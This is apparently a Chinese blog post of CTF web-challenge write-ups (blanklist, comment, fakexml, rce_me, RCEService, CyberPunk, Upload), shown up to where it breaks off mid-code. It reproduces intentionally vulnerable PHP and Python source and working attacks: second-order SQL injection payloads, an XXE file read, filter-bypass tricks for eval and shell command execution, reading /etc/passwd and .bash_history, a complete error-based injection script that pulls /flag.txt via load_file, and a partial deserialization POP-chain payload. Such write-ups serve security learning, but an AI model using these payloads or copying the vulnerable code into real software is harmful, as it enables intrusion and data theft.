os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"

@app.route('/')
def source():
return open("app.py","r").read()

if __name__ == "__main__":
app.run(host='0.0.0.0')

去fd找flag

flag{7410ef7f-b10e-4da4-9beb-29f304fec028}

so easy

blanklist

堆叠注入,handle代替select

flag{dad3eb12-8877-4ea8-8bfe-98ac99a93715}

枯燥的抽奖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

用php_mt_rand来爆破

flag{1c171630-aee4-400c-b629-a9e457cbe15e}

一定要去https://www.openwall.com/php_mt_seed/下载,不要去github的镜像下载,把我坑死了

comment

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";#category=result' ,bo_id='1\
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";#insert into comment set category = 'result' bo_id='1\',content='',bo_id='xxx';
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

需要登陆才能留言

爆破可知: zhangwei / zhangwei666 (我吐了爆破半天没出来还是谷歌的,谁知道后面是全数字)

代码审计发现经典的二次注入啊

因为没有报错所以不知道自己的语句是否正确就调了很久

catagory='\\',

1
2
3
content=%2Ccontent%3D0x6464646464%2Cbo_id%3D1%2F*&bo_id=1*/%23
content=%2Ccontent%3D(SELECT+group_concat(schema_name)+FROM+information_schema.schemata)%2Cbo_id%3D1%2F*&bo_id=1*/%23

去把数据库dump下来后发现没啥东西

接着去试试读取文件

发现可以读取文件

读取/etc/passwd得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/var/lib/mysql:/bin/false
www:x:500:500:www:/home/www:/bin/bash

发现只有一个可以登陆的用户:www

查看他的.bash_history

1
2
3
4
5
6
7
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

发现他要删除.DS_Store防止我们知道目录结构,但是/tmp目录是没有这个文件的,也就是所/tmp/www下有.DS_Store文件,拿到文件解析后得到flag文件名

1
2
3
4
5
6
7
8
9
10
11
bootstrap
comment.php
css
flag_8946e1ff1ee3e40f.php
fonts
index.php
js
login.php
mysql.php
vendor
write_do.php

fakexml

存在xxe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

直接读取/flag得到flag:flag{663e8e72-be03-4533-a4cd-c44452942287}

rce_me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

代码很简单,但是限制有点麻烦,我们利用~来绕过不允许字母和数字的限制

因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。

所以不能直接(~"eval的~")("xxxxx"),都没总结这些命令,导致我过了很久才想起assert

disable_function:

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

要读取flag必须命令执行,但是根据phpinfo,他禁用了system,exec等等用https://github.com/mm0r1这个大佬的脚本来绕过

flag{c7e5be35-729b-4bd0-aacd-c7a1eb98ddea}

RCEService

允许的字符: ,:,a-z,{,}

黑名单:pwd,echo

刚开始以为是假的命令执行,看到报错后发现这是真的

1
Warning</b>:  system() expects parameter 1 to be string, array given in <b>/var/www/html/index.php

那先想办法读取index.php,测试后发现是用$_REQUEST来接受数据

后来实在没想法就去百度了,看到的wp都是清一色的直接给源码?????您们源码哪来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

用换行来绕过preg_match或者输入足够长的字符来绕过preg的回溯次数

CyberPunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<h2>2077发售了,不来份实体典藏版吗?</h2>
<img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<h3>提交订单</h3>
<form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<button class='btn btn-lg btn-sub btn-white' type="submit">我正是送钱之人</button>
</form>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

search.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);#日穿
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>搜索</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>订单查询</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">查询订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

change.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>修改收货地址</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">修改订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>删除订单</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>删除订单</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">删除订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

confirm.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/>

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<img class="logo" src="./assets/img/logo-zh.png">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
<a href="./index.php">
<button class='btn btn-lg btn-sub btn-white'>返回</button>
</a>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

阅读代码发现,search处有sql注入,但是有以下限制:'/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';

change处有明显的二次注入,无限制,但是是update

1
"update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

我们利用报错注入来获取回显

1
2
3
4
5
6
7
information_schema,test,performance_schema,ctftraining,mysql,ctfusers
ctftraining:FLAG_TABLE,news,users
FLAG_TABLE:FLAG_COLUMN
users:id,username,password,ip,time
news:id,title,content,time
ctfusers:user
user:user_id,address,old_address,user_name,phone
1
2
3
4
1dogThe domestic dog (Canis lupus familiaris when considered a subspecies of the wolf or Canis familiaris when considered a distinct species)[4] is a member of the genus Canis (canines), which forms part of the wolf-like canids,[5] and is the most widely abundant terrestrial carnivore.1571838684,2catThe cat or domestic cat (Felis catus) is a small carnivorous mammal.[1][2] 
It is the only domesticated species in the family Felidae.[4] The cat is either a house cat, kept as a pet, or a feral cat, freely ranging and avoiding human contact.1571838684,3birdBirds, also known as Aves, are a group of endothermic vertebrates, characterised by feathers, toothless beaked jaws, the laying of hard-shelled eggs, a high metabolic rate, a four-chambered heart, and a strong yet lightweight skeleton.1571838684,4flagFlag is in the database but not here.1571838684

1,admin,21232f297a57a5a743894a0e4a801fc3,127.0.0.1,1571838684,2,guest,084e0343a0486ff05530df6c705c8bb4,127.0.0.1,1571838684,3,virink,a4346e75cc1dd161a8d57f3b2d5d82d0,127.0.0.1,1571838684

/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
1
dbf39bacca9e.log

艹,最后百度下发现flag再flag.txt里面

flag{c90595fb-9a36-4257-ba55-9181d7584edc}

附上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import random
import re
import time
def sql_inj(sql):
num=random.randint(0,9999999999)
result=""
count=1
while True:
burp0_url = "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn/confirm.php"
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://9f5e00e9-1ee3-46ec-bc40-5d37fcbb00a2.node3.buuoj.cn/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"user_name": num, "phone": num, "address": "'+(updatexml(1,concat(0x7e,substr(({sql}),{count},30),0x7e),1))#".format(sql=sql,count=count)}
res=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

burp0_url = "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn/change.php"
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://9f5e00e9-1ee3-46ec-bc40-5d37fcbb00a2.node3.buuoj.cn/change.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"user_name": num, "phone": num, "address": num}
res=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(res.text)
tmp=re.match(r'.*~(.*)~.*',res.text,flags=re.DOTALL).group(1)
result+=tmp
print(result)
if tmp.strip() is "":
break
count+=30
num+=1
time.sleep(0.5)

sql_inj("SELECT (load_file('/flag.txt'))")

Upload

报错后发现thinkphp的壳披着Discuz的皮,观察cookie发现,存在反序列化点

扫目录后,从www.tar.gz中拿到源码,从源码中很容易构造pop链

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
namespace app\web\controller;
use think\Controller;

class Index extends Controller
{
public $profile;
public $profile_db;

public function index()
{
if($this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
return $this->fetch("index");
}

public function home(){
if(!$this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}

if(!$this->check_upload_img()){
$this->assign("username",$this->profile_db['username']);
return $this->fetch("upload");
}else{
$this->assign("img",$this->profile_db['img']);
$this->assign("username",$this->profile_db['username']);
return $this->fetch("home");
}
}

public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
#$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff(array(1,1,1),$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

public function check_upload_img(){
if(!empty($this->profile) && !empty($this->profile_db)){
if(empty($this->profile_db['img'])){
return 0;
}else{
return 1;
}
}
}

public function logout(){
cookie("user",null);
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}

public function test()
{
